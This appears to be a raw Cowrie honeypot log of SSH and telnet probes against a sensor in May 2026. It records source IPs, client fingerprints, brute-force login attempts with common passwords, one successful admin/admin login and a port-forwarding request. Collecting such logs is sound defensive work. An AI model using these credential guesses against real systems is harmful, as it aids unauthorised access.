{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d268eee09819","protocol":"telnet","message":"New connection: 152.42.224.71:59800 (10.17.0.5:23) [session: d268eee09819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.503551Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@1","message":"login attempt [root/Welcome@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:18.862909Z","src_ip":"170.238.160.191","session":"af88e7d57cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:19.984692Z","src_ip":"170.238.160.191","session":"af88e7d57cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6264daaf9057","protocol":"ssh","message":"New connection: 89.108.118.91:49020 (10.17.0.5:22) [session: 6264daaf9057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:21.546749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:21.554716Z","src_ip":"89.108.118.91","session":"6264daaf9057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:21.691352Z","src_ip":"89.108.118.91","session":"6264daaf9057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnmq","message":"login attempt [root/zxcvbnmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:22.103587Z","src_ip":"89.108.118.91","session":"6264daaf9057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4e00184820","protocol":"telnet","message":"New connection: 152.42.224.71:59808 (10.17.0.5:23) [session: ea4e00184820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:22.671715Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3e823933f7","protocol":"telnet","message":"New connection: 152.42.224.71:59824 (10.17.0.5:23) [session: 1e3e823933f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:23.172552Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:23.242801Z","src_ip":"89.108.118.91","session":"6264daaf9057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.958694458007812,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:24.244721Z","src_ip":"152.42.224.71","session":"0f905cdc8b92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.712440729141235,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:28.614787Z","src_ip":"152.42.224.71","session":"c1024fd480c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8290a930a7","protocol":"ssh","message":"New connection: 193.37.70.224:35540 (10.17.0.5:22) [session: cb8290a930a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:29.059665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:29.080512Z","src_ip":"193.37.70.224","session":"cb8290a930a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:29.151650Z","src_ip":"193.37.70.224","session":"cb8290a930a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"awerty","message":"login attempt [root/awerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:29.503319Z","src_ip":"193.37.70.224","session":"cb8290a930a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:30.597384Z","src_ip":"193.37.70.224","session":"cb8290a930a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":35504,"dst_ip":"159.203.135.109","dst_port":22,"session":"674f31b7a774","protocol":"ssh","message":"New connection: 47.237.167.49:35504 (159.203.135.109:22) [session: 674f31b7a774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:33.451895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:33.457986Z","src_ip":"47.237.167.49","session":"674f31b7a774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"19590468b219","protocol":"telnet","message":"New connection: 152.42.224.71:58590 (10.17.0.5:23) [session: 19590468b219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:34.139488Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":20372,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12a37fd157b","protocol":"ssh","message":"New connection: 176.65.132.5:20372 (10.17.0.5:22) [session: f12a37fd157b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.365340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.370210Z","src_ip":"176.65.132.5","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.453629Z","src_ip":"176.65.132.5","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d09faa02478","protocol":"ssh","message":"New connection: 181.188.172.6:60038 (159.203.135.109:22) [session: 3d09faa02478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.575385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.580781Z","src_ip":"181.188.172.6","session":"3d09faa02478","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.627279Z","src_ip":"176.65.132.5","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.704886Z","src_ip":"181.188.172.6","session":"3d09faa02478","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.5","dst_port":80,"src_ip":"176.65.132.5","src_port":5555,"message":"direct-tcp connection request to 176.65.132.5:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.716903Z","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.5","dst_port":80,"data":"b'oB4fp0ZAoEqmfGij6VUmKbsXaSNGw25ca6cu6F7rsiN73tG51K'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.5:80 with data b'oB4fp0ZAoEqmfGij6VUmKbsXaSNGw25ca6cu6F7rsiN73tG51K'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.806783Z","src_ip":"176.65.132.5","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:36.909179Z","src_ip":"176.65.132.5","session":"f12a37fd157b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168514251709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:37.043627Z","src_ip":"152.42.224.71","session":"f209a0e0b7e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hellohello","message":"login attempt [root/hellohello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:37.690583Z","src_ip":"181.188.172.6","session":"3d09faa02478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:38.818665Z","src_ip":"181.188.172.6","session":"3d09faa02478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57688,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d75d557e01b","protocol":"telnet","message":"New connection: 152.42.224.71:57688 (10.17.0.5:23) [session: 6d75d557e01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:43.758885Z"}
{"eventid":"cowrie.session.closed","duration":117.41176080703735,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:44.285850Z","src_ip":"152.42.224.71","session":"5d75aa365fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57694,"dst_ip":"10.17.0.5","dst_port":23,"session":"650655514e14","protocol":"telnet","message":"New connection: 152.42.224.71:57694 (10.17.0.5:23) [session: 650655514e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:45.659719Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":33022,"dst_ip":"10.17.0.5","dst_port":22,"session":"573750018249","protocol":"ssh","message":"New connection: 167.86.95.8:33022 (10.17.0.5:22) [session: 573750018249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:50.297964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:50.302767Z","src_ip":"167.86.95.8","session":"573750018249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:50.400969Z","src_ip":"167.86.95.8","session":"573750018249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdqwe123!@#","message":"login attempt [root/asdqwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:50.860091Z","src_ip":"167.86.95.8","session":"573750018249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:51.973623Z","src_ip":"167.86.95.8","session":"573750018249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb619eee8298","protocol":"telnet","message":"New connection: 152.42.224.71:40678 (10.17.0.5:23) [session: eb619eee8298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:52.599734Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40692,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ceb9689240c","protocol":"telnet","message":"New connection: 152.42.224.71:40692 (10.17.0.5:23) [session: 8ceb9689240c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:55.487242Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.75.47","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"902afdd14d08","protocol":"ssh","message":"New connection: 78.111.75.47:44526 (10.17.0.5:22) [session: 902afdd14d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:58.825341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:58.831454Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:58.933326Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"e907a756f337","protocol":"telnet","message":"New connection: 152.42.224.71:58368 (10.17.0.5:23) [session: e907a756f337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.056255Z"}
{"eventid":"cowrie.session.closed","duration":57.53904390335083,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.293614Z","src_ip":"152.42.224.71","session":"e59d78b851ad","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:cb:74:43:74:e9:38:f0:b3:f1:ad:18:44:dd:09:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICiEn7N0uOZQMiF4PPkApkXia81hiNDQ/+AsbxI87m46","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:cb:74:43:74:e9:38:f0:b3:f1:ad:18:44:dd:09:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.423747Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
